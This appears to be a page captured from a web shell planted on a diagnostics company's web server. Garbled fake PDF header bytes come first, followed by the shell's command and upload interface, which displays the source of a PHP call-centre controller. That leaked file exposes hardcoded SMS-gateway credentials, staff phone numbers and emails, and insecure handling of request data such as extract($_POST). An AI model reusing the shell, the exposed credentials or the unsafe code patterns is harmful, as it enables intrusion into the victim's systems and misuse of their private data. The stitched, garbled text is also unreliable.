%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/modules/vendor/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/modules/vendor/controllers/Callcenter_myback.php
<?php
/*
 * @Author:    Chandni Gupta
 */
date_default_timezone_set('Asia/Calcutta');
if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}

class Callcenter extends VENDOR_Controller
{	
	
	private $num_rows = 20;
	public function __construct()
    {
        parent::__construct();
        $this->load->model('Products_model');
		$this->load->model('admin/Languages_model');
    }

    public function index($page = 0,$getid)
    {
        $data = array();
        $head = array();
		$getid = $_GET['getid'];
        $head['title'] = 'Callcenter';
        $head['description'] = 'Callcenter';
        $head['keywords'] = '';
		$data['viewdata'] = $this->Products_model->viewrecord($getid); //view record
		$data['test'] =  $this->Products_model->getbook();
		$data['states'] =  $this->Products_model->getstate();
		$data['cities'] =  $this->Products_model->getcity();
		$calllsummary =  $_GET['call_summary'];
	
			
			if(isset($_POST['setLead'])) {
			unset($_POST['setLead']);
			$error = $this->saveLead();
			
			if($error == true){
			if($getid){   //edit
			
			$querys = $this->Products_model->add_enquiry($_POST,$getid,$calllsummary);
			if($querys){
			echo '1';
			//$msgins = 'Data Inserted Successfully';
			$this->session->set_flashdata('result_insert', $msgins);
			redirect(LANG_URL . '/vendor/callcenter?getid='.$getid, $viewdata,$states);	
			//$this->session->set_flashdata('result_insert', $msgins);
			}
			} else {
			  
           	$querys = $this->Products_model->add_enquiry($_POST);
			if($querys){
			$insid = $this->db->insert_id();
			echo '2';
			//$msgins = 'Data Updated Successfully';
			$this->session->set_flashdata('result_insert', $msgins);
			redirect(LANG_URL . '/vendor/callcenter?getid='.$insid, $viewdata,$states);
			}			
			}			
			}
		else {	
		$this->session->set_flashdata('error_leads', $this->registerErrors);	
		$this->load->view('_parts/header', $head);
        $this->load->view('callcenter',$data);
        $this->load->view('_parts/footer');	
		return;
		}
		}
		
		$this->load->view('_parts/header', $head);
        $this->load->view('callcenter',$data);
        $this->load->view('_parts/footer');
		}
	
		
	
	 private function saveLead()
    	{
		$errors = array();

		if (mb_strlen(trim($_POST['title'])) == 0) {
            $errors[] = 'Enter Title';
        }
        if (mb_strlen(trim($_POST['full_name'])) == 0) {
            $errors[] = 'Enter Name';
        }
        else if (mb_strlen(trim($_POST['mobile_number'])) == 0) {
            $errors[] = 'Enter Contact Number';
        }
        else if ($_POST['email'] && !filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
            $errors[] = 'Invalid Email id';
        } 
		else if (($_POST['ages']) == 0) {
            $errors[] = 'Please Enter Age';
        }
		else if (mb_strlen(trim($_POST['gender'])) == 0) {
            $errors[] = 'Please Select gender';
        }
        if (!empty($errors)) {
            $this->registerErrors = $errors;
            return false;
        }
        return true;
    }
	
	public function Complain_order(){
	$ORDERID =  $_GET['ORDERID'];
	$orderreport = $_GET['Order_status'];
	if($ORDERID){ 
	$ORDERID = $_GET['ORDERID'];
	}
	if($orderreport){ 
	$ORDERID = $_GET['Order_status'];
	}
	$data['test_report'] =  $this->Products_model->getOrdertest($ORDERID);
	//print_r($data); 
	if($data['test_report']){
	$this->load->view('view_complain',$data);  
	} else { 
	echo "<font color='#990000'><strong>Not Any Record.</strong></font>";
	}
	}
	
	
	public function storecomplain(){
	//	print_r($_POST);die;
	extract($_POST);
	$ORDERID = $_POST['ORDERID'];
	$Order_status = $_POST['Order_status'];
	$collection_type = $_POST['collection_type'];
	$Remarks = trim($_POST['Remarks']);
	$getID = $_POST['getID'];
	$Remarks_status = trim($_POST['Remarks_status']);
	
	/********** Report status update********/

	if(empty($ORDERID)){
	 echo '<font color="#990000">Please Enter Order id.<br/></font>';
	 $error = 1;	
	}
	else{
	$compplaindetail =  $this->Products_model->getupdatecomplain($getID,$ORDERID,$Order_status,$collection_type,$Remarks,$Remarks_status);
	//echo   "Informatin Update Successfully";
	$mobile_number = '8126020973';
	$emailid = 'chandni.gupta@shardatech.org';
	$from_email = 'praveen.kumar@shardatech.org';
	$sms_content = 'Your Complaint ticket number is #20180199.We will Get back to you or you can contact us on 0120-400-4567.';
	$this->sendSMS($mobile_number, $sms_content);  
	$this->sendmail($emailid,$from_email);
	
	}
	/********** next data *********/
	}
	
	
  public function searchtest()
    {	extract($_GET);
		$searchKEY = $_POST['searchdata'];
		
		$data['test'] =  $this->Products_model->search_Test($searchKEY);
		$i=1;
		foreach($data as $row)
    	{
      	$array[] = $row['title'];
    	}
		$this->load->view('listtest', $data);
	   	} 
  
  
    public function logout()
    {
        unset($_SESSION['logged_vendor']);
        delete_cookie('logged_vendor');
        redirect(LANG_URL . '/vendor/login');
    }
	   
	function sendSMS($mobile_number, $sms_content){
		$feedid    = 363901;
		$senderid = urlencode('shardacom_trans');
		$username = "9015129267";
		$password = "wgtpt";
		$api_url = 'http://bulkpush.mytoday.com/BulkSms/SingleMsgApi';
		
		if(strlen($mobile_number)>=10){
			$params_url = '';
			//send OTP to user
			$params_url = 'feedid='.$feedid.'&senderid='.$senderid.'&username='.$username.'&password='.$password.'&To='.$mobile_number.'&Text='.$sms_content;
			$otpresponse = $this->sendOTP($api_url, $params_url); // Send OTP
			
			return $otpresponse;
			
		}
	}
	
	function sendOTP($url, $params_url){

		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_POST,1);
		curl_setopt($ch, CURLOPT_POSTFIELDS,$params_url);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
		curl_setopt($ch, CURLOPT_HEADER,0);
		// DO NOT RETURN HTTP HEADERS
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
		// RETURN THE CONTENTS OF THE CALL
		$return_val = curl_exec($ch);
		
		$response = true;
		//Print error if any
		if(curl_errno($ch))
		{
		$response =  'error:' . curl_error($ch);
		}
		curl_close($ch);
		return $response;
   }
	
	
	
	function sendmail ($emailid,$from_email){
	   
$body = "<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/>
<title>Sharda Diagnostics 2018</title>
<style type='text/css'>
a{color:#000066; text-decoration:none;}
	.button {
    display: block;
    width: 115px;
    height: 25px;
    background:#0099CC;
    padding: 10px;
    text-align: center;
    border-radius: 5px;
    color: white;
    font-weight: bold;
}
</style>
</head>
<body style='font-family:Calibri'>
<table width='700' border='0' align='center' cellpadding='0' cellspacing='0' style='border:1px solid #999'>
  <tbody><tr>
    <td><table width='100%' border='0' cellspacing='0' cellpadding='0'>
      <tbody><tr>
        <td width='2%'>&nbsp;</td>
        <td width='96%'><table width='100%' border='0' cellspacing='0' cellpadding='0'>
          <tbody><tr>
            <td width='72%'><img src='".base_url()."attachments/site_logo/Logo.png' class='CToWUd'></td>
            <td width='28%'><table width='100%' border='0' cellspacing='0' cellpadding='0' align='right'>
              <tbody>
            </tbody></table></td>
          </tr>
        </tbody></table></td>
        <td width='2%'>&nbsp;</td>
      </tr>
    </tbody></table></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td style='background:#ffd200;float:left;width:100%;height:5px'></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td><table width='100%' border='0' cellspacing='0' cellpadding='0'>
      <tbody><tr>
        <td>&nbsp;</td>
        <td style='background:#f1f2f4'>&nbsp;</td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td style='background:#f1f2f4'><table width='100%' border='0' cellspacing='0' cellpadding='0'>
          <tbody><tr>
            <td width='2%'>&nbsp;</td>
            <td width='95%' style='font-family:Arial,Helvetica,sans-serif;font-size:13px'>
            <p style='font-family:Arial,Helvetica,sans-serif;font-size:20px;color:#333333'>Dear User,</p>
            <p>Your Complain Request has been Refund by half of order id -''.</p> 
            <p>Our team will contact you shortly for further details.</p>
             <p><strong>Thanks and Regards</strong></p>
			 </td>
            <td width='3%'>&nbsp;</td>
          </tr>
        </tbody></table></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td width='2%'>&nbsp;</td>
        <td width='96%' style='background:#f1f2f4'>&nbsp;</td>
        <td width='2%'>&nbsp;</td>
      </tr>
    </tbody></table></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  	</tr>
	<tr>
    <td style='background:#ffd200'>&nbsp;</td>
  </tr>
</tbody></table>
</body>
</html>";

 		 $this->email->from($from_email, 'Sharda-Diagnostics'); 
         $this->email->to($emailid);  
         $this->email->subject('Diagnostics-Callcenter'); 
         $this->email->message($body); 		   
	}
	
	}

Kontol Shell Bypass